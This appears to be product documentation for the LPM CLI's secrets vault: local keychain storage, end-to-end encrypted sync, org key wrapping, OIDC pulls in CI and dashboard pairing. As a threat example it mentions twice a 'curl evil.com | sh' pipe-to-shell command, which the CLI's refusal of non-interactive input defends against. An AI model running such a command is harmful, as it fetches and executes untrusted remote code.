LPM-cli

Secrets vault

How LPM stores, syncs, and shares per-project secrets — local secret storage, E2E cloud sync, OIDC for CI, platform pushes.

The vault is LPM's secrets system. Locally, it stores per-project env vars in the macOS Keychain on macOS. On Linux and Windows, it keeps encrypted vault blobs on disk and protects the local data key with the OS secure store when available: Secret Service-compatible storage on Linux, Credential Manager on Windows. With a Pro or Org plan, those vars sync to lpm.dev end-to-end encrypted. Org sync makes them shareable across team members. CI pulls happen via OIDC (no long-lived tokens). And you can push the same vault to external platforms (Vercel, Fly, AWS SSM, etc.) without ever transmitting plaintext through your machine to the server.

Local CLI surface: lpm env. Web dashboard: lpm.dev/dashboard/secrets. A macOS desktop app (LPM Vault) exists internally as a GUI front-end over the same storage, but it is not publicly released yet; today lpm env is the only documented surface.

What plan tier you need

TierLocal vaultCloud syncOrg sharingOIDC pulls in CIPlatform integrations
FreeYesNoNoNoNo
ProYesYesNoYesYes
OrgYesYesYesYesYes

The local vault is unconditional — every plan can store secrets locally. Cloud sync is plan-gatedlpm env push / lpm env pull against a free account returns 403 "Vault sync requires a Pro or Org plan".

Local storage

macOS default      → Keychain item (service: "dev.lpm.vault", account: <vault-id>)
Linux default      → ~/.lpm/vaults/<vault-id>.enc encrypted with a Secret Service-protected data key
Windows default    → ~/.lpm/vaults/<vault-id>.enc encrypted with a Credential Manager-protected data key
debug/test         → encrypted-file fallback when LPM_FORCE_FILE_VAULT=1

On macOS, the CLI reads and writes Keychain items via service dev.lpm.vault, and the internal LPM Vault app uses the same layout. On Linux and Windows, the encrypted vault blob stays at ~/.lpm/vaults/<vault-id>.enc, while the local data key lives in the native secure store under service dev.lpm.vault-local-key, account data-key.

Existing Linux/Windows vaults that used ~/.lpm/.vault-fallback-key are promoted automatically the first time the native store is reachable: LPM stores the derived data key in the OS secure store and removes the old fallback key. If the native store is unavailable before promotion, LPM can still use the encrypted-file fallback. After promotion, a locked or broken native store is a loud error, not a silent downgrade.

Debug and test builds can force the file backend explicitly:

LPM_FORCE_FILE_VAULT=1 lpm env list

Release builds ignore that override and keep using the platform default.

Per-project identity

Each project gets a vault-id — a UUID v4 written into the project's lpm.json at first vault use. Subsequent commands look up the project's vault by this ID, not by directory path, so a moved/renamed project keeps its vault.

The binding is a single top-level field in lpm.json:

lpm.json
{
  "vault": "7f3a1e2c-5b9d-4a8f-b6c1-9b1d2e3f4a5b"
}

The first time you run any lpm env command in a project, the CLI:

  1. Reads lpm.json > vault if present; otherwise generates a fresh UUID v4 and writes it back into lpm.json. If lpm.json doesn't exist, the CLI creates a minimal one containing only this field.
  2. Validates the stored value — empty strings, path separators (/, \), .. substrings, leading ~, control characters, and absolute-drive prefixes are rejected, since the value is joined into a ~/.lpm/vaults/<id>.enc path on machines using the file fallback.

Commit lpm.json to git. The vault-id isn't a secret — it's an opaque pointer. Committing it means every teammate who pairs into the same vault (via lpm env pair <code> from the dashboard) lands on the same server-side row with no manual setup. Removing the vault field regenerates a fresh UUID on next use — that decouples the working directory from the previous vault rather than deleting any data on the server.

Override per-invocation with LPM_VAULT_ID — useful in CI when one workflow needs to pull a vault other than the checked-out project's. The CLI also tracks per-vault sync state in lpm.json > vaultSync.personalVersion and vaultSync.orgVersions.<slug> for push conflict detection; those are written by lpm env push / lpm env pull and shouldn't be edited by hand.

You don't usually deal with the vault-id directly — lpm env operations resolve it transparently. Knowing the field exists explains why lpm.json mutates on first vault use, why moving a project keeps its vault, and how a teammate's git clone lands on the same encrypted blob as yours.

Per-environment scoping

Inside one project's vault, secrets are scoped per environment:

lpm env set DATABASE_URL=...                          # → "default" environment
lpm env set --env=staging DATABASE_URL=...            # → "staging" environment
lpm env set --env=production DATABASE_URL=...         # → "production" environment
lpm env list --env=staging

On macOS, this is stored as {environment_name: {key: value}} JSON inside one Keychain item per project. On Linux and Windows, the same environments map lives in the encrypted local vault file; the file key is protected by the OS secure store when available. lpm dev --env=staging (or lpm run dev --env=staging) injects the staging-scoped vars into the script.

Without --env, operations target the "default" environment.

Cloud sync architecture

[your machine]                   [lpm.dev]                  [teammate's machine]

  vault data    →   AES-256 encrypt   →   POST /api/vaults/{id}/sync
       │                  │                     │
       ▼                  ▼                     ▼
  per-vault         wrap with          encrypted_blob +
  AES key           wrapping key       wrapped_key +
                                       schema (envSchema from lpm.json) +
                                       version (auto-increment)

                                       GET /sync ────────────────  │
                                                       wrapping key
                                                       (from local keychain)
                                                       └→ unwrap AES → decrypt

Three keys, never confused:

  1. Wrapping key — a 256-bit random key, generated once per machine, stored in the local key store: system keyring when available, otherwise ~/.lpm/.vault-key. Never leaves the machine.
  2. Per-vault AES key — a 256-bit AES key generated per-vault on the client. Encrypts the actual secret blob with AES-256-GCM.
  3. Wrapped key — the per-vault AES key, encrypted ("wrapped") with the wrapping key. Stored on the server alongside the encrypted blob.

The server holds encrypted blob + wrapped key. It can't read either — to decrypt, you need the wrapping key, which lives only on machines that have the local wrapping-key material.

Push and pull:

lpm env push               # encrypt + push to server
lpm env pull               # pull + decrypt

Each push increments a server-side version number. Conflicting writes (your local version is v3, server already has v4 from a teammate) return 409 with VaultConflictError — the CLI surfaces this and asks you to pull, reconcile, and re-push. Not "last-writer-wins" silently — drift is loud.

Successful sync responses (push and pull, personal and org) carry an X-LPM-Signature header — HMAC-SHA256 over the response body, keyed by SHA-256(auth_token). Both sides already share the auth token, so there's no global server signing key and no rotation story; rotating the auth token automatically rotates the HMAC key on both sides.

The CLI verifies the signature before any parsing or decryption. The encrypted blob is already authenticated by AES-GCM, so confidentiality is independent of this header — what the signature protects is the envelope: version (anti-rollback), wrappedKey, vaultId, status, and metadata. A TLS-terminating intermediary or a compromised CDN cache cannot forge a successful response or replay an old version under a different one.

Failures are loud, not silent. A missing header on a 2xx response, a non-base64 header, or a body that doesn't match the signature aborts the sync with an error that names the missing header — never a fallback to the unsigned body. Error responses (4xx, 5xx) are not signed and are passed through to the caller's error formatter.

What syncs alongside the encrypted blob

vault_sync row:
├── encryptedBlob          ← AES-256-GCM ciphertext (server can't read)
├── wrappedKey             ← AES key wrapped with the user's wrapping key
├── ciEscrowWrappingKey    ← (optional) wrapping key escrowed for CI/OIDC
├── schema                 ← lpm.json > envSchema (synced on push, dashboard-readable)
├── name                   ← project directory name (so the dashboard can label it)
├── version                ← auto-incrementing for conflict detection
└── userId or orgId        ← scope

The schema is interesting — your lpm.json > envSchema ({required, format, pattern, default, secret} per var) travels alongside the encrypted blob. The dashboard renders it read-only so a teammate viewing the vault sees which keys are required, which are secret, etc., without seeing values. schema is rebuilt from lpm.json on every push; if lpm.json is missing the CLI sends no schema and the server keeps the last-known-good value. If lpm.json exists but is malformed, the CLI logs a stderr warning and proceeds without schema so your push isn't blocked by a parse error in a docs-only field.

The name field always lands on the wire. The CLI resolves it from package.json > name, falling back to lpm.json > name, then the project directory's basename. Helps the dashboard render apps/web instead of vault-7f3a-...-9b1d.

Both fields round-trip on personal AND org pushes — same wire shape, same metadata pipeline.

Org sync (E2E across team members)

Personal sync uses one wrapping key per machine. Org sync is more interesting — multiple users need to read the same encrypted blob, but no shared key exists.

LPM uses an X25519 + AES scheme similar to ECIES:

  1. Each org member registers an X25519 public key with lpm.dev (the server stores the public key in user_public_keys; the private key stays on the member's machine).
  2. The vault has a single AES key that encrypts the blob (same as personal).
  3. The AES key is wrapped per member — once for each member's X25519 public key, producing one row in vault_org_keys per member.
  4. On pull: the member uses their X25519 private key to unwrap their copy of the AES key, then decrypts the blob.

Adding a new member to an org vault:

  1. The org admin (or anyone with the rotate permission) pulls the AES key (they can — they have a wrapped copy).
  2. Re-wraps it with the new member's X25519 public key.
  3. Pushes the new wrapped-key entry to the server (POST /api/orgs/{slug}/vaults/...).

Removing a member: drop their wrapped-key entry (RLS allows org admins to do this). For real revocation, rotate the AES key — generate a new one, re-wrap for every remaining member, push. The leaver's copy of the old key still works against the old encrypted blob, so a fresh push under the new key is what actually removes their access.

Wire format for wrapped keys: base64(ephemeral_public 32B):base64(iv 12B):base64(ciphertext+tag 48B). The server validates the full shape on every write — wrong byte counts, URL-safe Base64, embedded whitespace, or extra/missing colons are rejected at the route layer before the row is persisted. A dashboard or CLI bug that emitted a malformed value cannot land a row the org pull path would silently surface as "has access."

Sharing keys (X25519) and rotation

Your sharing key is the X25519 keypair the org-sync diagram above relies on. It's per-account, not per-device: the public half is registered on lpm.dev under user_public_keys, while the private half stays only on the local machine in LPM's key storage.

When a CLI verb needs to touch the org-vault path (lpm env share --org <slug>, lpm env pull --org <slug>, etc.) the client first asks the server what it knows about your sharing key and branches on three states:

StateWhat it meansWhat the CLI does
MatchesServer's stored public key equals the local oneProceeds with the operation. No prompts.
NeedsInitialSetServer has no public key on file yetMints a vault:public-key:set step-up proof, uploads, and proceeds.
RotationRequiredServer has a different public key than the local oneRefuses to proceed. Silently overwriting would invalidate every org teammate's wrapped access without your knowledge — the explicit recovery path is lpm env rotate-sharing-key.

The refusal on RotationRequired is load-bearing. Without it, a stolen auth token could POST a new sharing key, wait for the next org teammate's push, and decrypt the freshly wrapped vault values. Holding the line at the client and gating real rotation on a typed ROTATE confirmation plus a vault:public-key:rotate step-up closes that path.

Rotation flow

lpm env rotate-sharing-key is the single, interactive entry point that handles a legitimate sharing-key replacement. The flow:

  1. Crash recovery. If a previous run left a pending key on disk that already matches the server's stored value, the command finishes the promotion (live keychain entry replaced with the pending value) and exits. Re-running the command after a network drop is safe.
  2. Blast-radius warning. Rotating invalidates every vault_org_keys row the server held for you. Until an owner or admin of each affected org runs lpm env share --org <slug> to re-wrap, those vaults cannot be pulled. The dashboard's Member Access view shows the rows as Needs share with no remediation false positives.
  3. Typed confirmation. You type ROTATE (uppercase) — anything else cancels with no server-side or local state change.
  4. Step-up reauth. Password (+ TOTP if enrolled) for a vault:public-key:rotate proof.
  5. Pending-key write. A fresh X25519 keypair is generated and the private half is parked in a pending file. The keychain's live entry is not touched yet.
  6. Server upload. New public key + the rotation proof go to the server. The server invalidates wrapped-key rows, writes audit entries (vault.public_key_rotated plus the per-org impact entries), and dispatches an out-of-band security email to your account plus an impact email to every affected org's owners and admins.
  7. Promotion. The pending file replaces the live keychain entry. If the process crashes between step 6 and step 7, step 1 picks the work up on the next run.

The command refuses to run without a TTY — there is no --yes flag. A CI runner cannot accidentally trigger sharing-key rotation.

On macOS specifically, once a rotation has produced a live file-backed keypair (the pending → promoted path writes to the file slot), subsequent reads prefer the file over the Keychain entry so a stale macOS Keychain row can't shadow the rotated key. The pre-rotation file is overwritten in place, so there's no orphaned-key drift.

What does NOT rotate

  • Per-machine wrapping key. That's a separate primitive — local-only, never on the server. It's rotated by lpm env rotate-key, not by rotate-sharing-key.
  • Browser pairings. Dashboard sessions wrap an ephemeral per-pairing key during pair-approve, not your account-level sharing key, so they survive a sharing-key rotation. If you want to invalidate dashboard sessions too, use the dashboard's "Sign out everywhere."
  • Auth token / registry session. Separate primitive again; rotate with lpm token-rotate.

CLI step-up reauth

The dashboard's pair-create flow has its own step-up proof. The CLI has a parallel one for sensitive write verbs the bearer alone shouldn't authorize.

The model is the same: a freshly-minted, short-lived, session-bound, audience-locked JWT. The CLI mints one by re-prompting the user for their credentials in the terminal, sends it back to the server in an X-LPM-Step-Up-Proof header, and the server verifies the proof before honoring the underlying request.

# What you see when a verb needs a step-up:
> lpm env rotate-sharing-key

Confirm your password and a fresh authenticator code to authorize this action.
Password: ●●●●●●●●
Authenticator code: 123456

Scopes

Each step-up proof is scoped to exactly one verb the server recognizes. A proof minted for vault:public-key:set cannot be replayed against vault:public-key:rotate and vice versa.

ScopeTriggered byServer-side check
vault:public-key:setFirst-time registration of an X25519 sharing key for your account (the NeedsInitialSet branch above)Refuses if a public key already exists for the user.
vault:public-key:rotatelpm env rotate-sharing-keyRefuses if no public key exists yet (rotation has nothing to replace). Atomically rotates the key and invalidates wrapped-key rows in one transaction.

Both scopes mint proofs against the same primitive: POST /api/auth/cli-step-up, signed by a server-side secret, bound to the bearer's CLI session_id.

Credentials the CLI prompts for

The server tells the CLI which factor it must collect, derived from your account's MFA state:

  • TOTP enrolled — the CLI prompts for your password and a fresh authenticator code. The CLI runs the password through a transient cookie-less Supabase client to obtain a one-shot session, then satisfies mfa.challenge / mfa.verify against that session. The user-facing impact is one prompt with two inputs; the server-side guarantee is that both factors were verified together within the proof's window.
  • Password only (no MFA enrolled) — the CLI prompts for your password.
  • OAuth-only (GitHub / Google identity with no password and no MFA factor) — the server returns a refusal that names the remediation. The CLI prints the dashboard URL where you can set a password or enroll an authenticator; no step-up is possible until you do.

TTY refusal — there's no --yes for step-up

The CLI refuses to mint a step-up proof on a non-interactive stdin. Piping into the CLI, running in CI, or background-spawning all return an error rather than silently advancing through a prompt. This is a deliberate floor: a curl evil.com | sh payload cannot trigger a rotation by piping fake credentials, and a CI job cannot accidentally promote a stolen runner secret into a key change.

Standalone registry tokens (a .npmrc token, a CI access token) are rejected even earlier — they have no CLI session_id to bind a proof to, so the server refuses before reaching the credential-prompt path.

TTL and binding

  • TTL — 5 minutes from mint. After expiry, the next operation re-prompts.
  • Session-bound — the proof carries the bearer's CLI session_id. A different CLI session (parallel attacker terminal, stolen bearer in a different process) cannot reuse a proof minted elsewhere.
  • Scope-locked — the JWT's aud claim is allow-listed per scope. Cross-verb replay is blocked.
  • Single-use semantics on the server side — the server-side endpoint that consumes the proof (e.g., the public-key write route) verifies one proof per write. A failed write doesn't re-burn the proof inside its TTL, so a brief retry is safe.

Every step-up event — successful and refused — lands in the account-scoped audit log. Forensics on "did anyone try to rotate this sharing key?" surfaces the attempts even if the credential check ultimately failed.

CI escrow + OIDC pulls

CI is the one case where server-side decryption is allowed — by design. CI runs in an environment that has no keychain, no persistent state between runs, and no interactive way to pair a wrapping key. So vault sync supports an opt-in escrow:

  1. When you enable CI for a vault, the CLI re-wraps your wrapping key with VAULT_CI_ESCROW_KEY (a key the lpm.dev server holds) and stores the result in vault_sync.ciEscrowWrappingKey.
  2. CI hits GET /api/vaults/{id}/ci-pull?env=production.
  3. The server verifies the request is from a valid OIDC exchange (token name prefix oidc:{provider}:{subject}:{branch}).
  4. The server unwraps the escrowed wrapping key, decrypts the blob, filters by environment, and returns plaintext secrets.

Plaintext leaves the server only via TLS to the verified CI workflow. The escrow is opt-in per vault — vaults without ciEscrowWrappingKey set can never be CI-pulled.

CLI surface:

lpm env pull --oidc                              # in CI, exchanges the OIDC token + CI-escrow pulls
lpm env pull --oidc --env=production             # scope to one environment
lpm env pull --oidc --output=.env                # also write a dotenv-formatted copy

The --oidc flag routes through the OIDC exchange (POST /api/vault/oidc) and then through the CI-escrow path (GET /api/vaults/{id}/ci-pull). lpm setup ci --oidc generates the matching .npmrc and is usually run as a separate prior step in the same workflow.

OIDC policy

To control which workflow can pull which vault, attach an OIDC policy:

provider:           "github" | "gitlab"
subject:            "repo:owner/repo" (GitHub) | "project:id" (GitLab)
allowedBranches:    ["main", "release/*"]
allowedEnvironments: ["production", "staging"]
allowForks:         false

The exchange validates the OIDC token's claims against the policy. If the workflow is on feature/x and the policy only allows ["main"], the exchange returns 403. If the workflow is on a fork and allowForks: false, the exchange returns 403.

GitHub Actions and GitLab CI are the supported providers. Validation, the dashboard policy form, and the exchange handler describe the same two-provider surface — there are no advertised-but-unwired providers.

Browser pairing for dashboard access

The dashboard needs to decrypt the same vaults the CLI handles, but it can't ship the wrapping key over TLS to a browser session — that would defeat E2E. Instead, dashboard pairing uses ECDH:

  1. Before the dashboard is allowed to mint a new pairing code, the server requires a fresh step-up auth proof. The dashboard opens a modal that asks for the user's TOTP code (if MFA is enrolled) or their account password (if not). The browser POSTs the credential to /api/auth/step-up, which verifies it and sets a short-lived (5 min), session-bound HttpOnly cookie scoped to Path=/api/vault/pair. Without that cookie, POST /api/vault/pair returns 403 step_up_required and the create call is refused.
  2. Dashboard generates an ECDH P-256 keypair in the browser. Sends the public key to POST /api/vault/pair with a device label. The request carries the step-up cookie from step 0.
  3. Server returns a 6-character alphanumeric pairing code (5-minute TTL). Dashboard shows the code and a two-digit match number derived locally from SHA-256(pairing_code || browser_public_key) — neither value is ever transmitted, both sides compute independently.
  4. You run lpm env pair <code> on a machine that already has the wrapping key. The CLI fetches the pending session, derives the same match number from the inputs it now holds, and displays a confirmation prompt with:
    • the device label the dashboard reported
    • a fingerprint of the browser public key the CLI is about to wrap for
    • the match number — verify it matches the dashboard before answering y
  5. After you approve, the CLI wraps your wrapping key with the browser's public key and sends the ciphertext + the CLI's ephemeral public key back.
  6. Dashboard fetches the wrapped wrapping key, decrypts with its ECDH private key (using the CLI's ephemeral public key for the shared secret), unlocks every vault.

The CLI refuses to pair on a non-interactive stdin (pipe, heredoc, CI) unless --yes is passed — a defense against social-engineering payloads of the form curl evil.com | sh that contain a stray lpm env pair XXXXXX. Every pairing lifecycle event (pair_create, pair_approve, pair_consume, pair_revoke_all) is recorded in the vault audit log with the SHA-256 of the code (not the raw code), the device label, the originating IP, and the step-up method used (totp or password).

Step-up policy and session binding

The step-up proof is a JWT signed by a server-side secret with three load-bearing properties:

  • Session-scoped. The proof embeds the user's current session_id; a different session of the same user (stolen cookie from another browser, parallel attacker session) cannot replay it. The pair-create gate re-reads the live session_id and refuses any proof that doesn't match.
  • Time-windowed. 5-minute TTL via Max-Age=300 on the cookie. Re-pairing the same browser within that window does not re-prompt — the cookie is the throttle, not a per-pair requirement.
  • Audience-locked. The JWT's aud claim is allow-listed (vault:pair today); a proof minted for one sensitive surface cannot be replayed against another.

Which credential the modal asks for is decided server-side from the user's identity state:

  • Users with a verified TOTP factor must use TOTP — no password fallback, even for an already-AAL2 session. This matches the policy requireFreshMfa enforces elsewhere in the app.
  • Users without MFA but with a password (email-provider identity in Supabase) use password. Verification routes through a transient cookie-less Supabase client so the user's live session cookie is not rotated by the check.
  • OAuth-only users (GitHub-only, Google-only — no email-provider identity and no MFA) cannot satisfy either method. The modal renders a remediation view linking to the security settings page; pairing is blocked until the user sets a password or enrolls MFA. The server returns 403 { code: "step_up_required", method: "unavailable", reason: "set_password_required" }.

The TOTP path uses the same factor-keyed rate limits the login MFA flow uses (mfaVerify 5/15min, mfaVerifyDaily 50/day, both keyed on the server-issued factorId), so the online-guessing budget against a stolen credential is bounded at the verify primitive rather than at any single route.

One pairing unlocks all the user's vaults — per-user scope, not per-vault. Sessions expire after 5 minutes if not approved; status field tracks pending → approved → consumed → expired.

Approved sessions stay "consumed" once the dashboard fetches the wrapped key, so the same pairing code can't be replayed.

Platform integrations

Push your local vault to external platforms — without LPM ever transmitting plaintext through itself. The CLI:

  1. Pulls the encrypted blob from the cloud vault.
  2. Decrypts it locally (using the wrapping key).
  3. Sends the plaintext directly to the platform's API (Vercel's REST API, AWS SSM via SDK, etc.).

The lpm.dev server stores the platform credential (encrypted with AES-256-GCM, format iv:encrypted:tag) plus a connection config (project ID, target environment, etc.). It never sees the secrets.

Supported platforms:

PlatformUse case
vercelPush env vars to a Vercel project
coolifyPush to a Coolify-hosted application
flyPush to a Fly.io app
railwayPush to a Railway project
github-actionsPush as encrypted GitHub Actions secrets
aws-ssmPush to AWS Systems Manager Parameter Store
aws-smPush to AWS Secrets Manager
genericPush to a custom HTTPS endpoint

Endpoints:

EndpointPurpose
POST /api/vault/platforms/connectSet up a new connection
POST /api/vault/platforms/pushTrigger a push (your machine does the work)
POST /api/vault/platforms/pullPull from the platform back into your local vault
GET /api/vault/platforms/statusLast-push timestamps per platform

The connect / push / pull surfaces ship through the dashboard for now — most platforms need an OAuth flow that's hard to do well from a terminal.

Audit log

Every server-side mutation produces an audit entry:

lpm env log                              # last 50 entries for this project's vault

For full pagination and time-range queries, use the dashboard.

Action set: push, pull, share, unshare, rotate_key, member_added, member_removed. Each entry records the user, optional org, action, metadata (version number, key fingerprint diffs, etc.), and timestamp.

Read access:

  • Personal vaults: the owner sees their own entries.
  • Org vaults: members with role owner / admin / maintainer can read the full audit; lower-role members can't (RLS-enforced).

The dashboard surfaces the same data with filters and time-range queries.

Personal vs org rows for the same vaultId

Vault rows are uniquely keyed by (vaultId, userId) for personal entries and (vaultId, orgId) for org entries — both indexes coexist. So the same vaultId can have BOTH a personal row (for the owner) AND an org row (shared). The CLI picks which side to read based on context (--org flag, project ownership).

This lets a user "promote" a personal vault to an org vault without losing the personal copy as a fallback. Useful during the "I'm about to share this with my team but I want my own working copy too" transition.

Migration from the old token-derived wrapping key

Older versions derived the wrapping key from SHA256("lpm-vault-wrap:" + auth_token). That tied the vault to your auth token — a token rotation broke decrypt.

Current versions use an independent random wrapping key in the keychain. On decrypt failure with the stored key, LPM tries the legacy key as a fallback. If the legacy key works, the blob is re-encrypted under the stored key and pushed back inside the same pull — migration is automatic and converges without an extra command. The migration push is best-effort: if the network blips or the version races, the failure is logged at warn (not silent), and the next successful pull retries. A push from a machine that already has intact local secrets also implicitly migrates the cloud blob, since push always re-encrypts under the current stored key.

If you've rotated tokens AND the data was last encrypted under the old token-derived key AND you no longer have the old token, the legacy path can't recover. Practical workarounds: pair a still-paired machine and transfer the wrapping key, push fresh data from a machine with intact local secrets, or pull the platform integration that holds the canonical copy.

Limitations

  • CI escrow gives the server the keys. That's the deliberate trade — CI can't hold a wrapping key, so the server holds an escrowed copy. Vaults without ciEscrowWrappingKey set can't be CI-pulled, period. You opt in per-vault.
  • Conflict resolution is server-detected, not auto-resolved. Push when the server is on a newer version → 409. The dashboard's diff view helps; the CLI doesn't merge for you.
  • No per-key permissions. Org members either have read access to the whole vault or no access. Per-key ACLs are a future ask.

See also